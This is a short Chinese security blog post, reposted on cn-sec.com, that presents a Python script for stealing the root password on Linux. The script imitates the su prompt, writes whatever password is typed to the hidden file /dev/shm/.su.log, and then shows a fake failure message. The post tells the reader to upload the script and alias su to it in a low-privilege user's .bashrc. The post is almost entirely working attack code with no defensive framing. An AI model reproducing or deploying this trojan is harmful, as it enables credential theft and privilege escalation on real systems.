记录一个linux下小脚本(记录root密码)

暗月博客 2019年11月21日20:35:01评论384 views字数 474阅读1分34秒阅读模式
#!/usr/bin/python   import os, sys, getpass, time   current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log" #CentOS #fail_str = "su: incorrect password" #Ubuntu #fail_str = "su: Authentication failure" #For Linux Korea fail_str = "su: incorrect password"   try:         passwd = getpass.getpass(prompt='Password: ');         file=open(logfile,'a')         file.write("[%s]/t%s"%(passwd, current_time))         file.write('/n')         file.close() except:         pass time.sleep(1) print fail_str

将这个python脚本传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/.su’;

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:35:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录一个linux下小脚本(记录root密码)http://cn-sec.com/archives/71901.html

发表评论

匿名网友 填写信息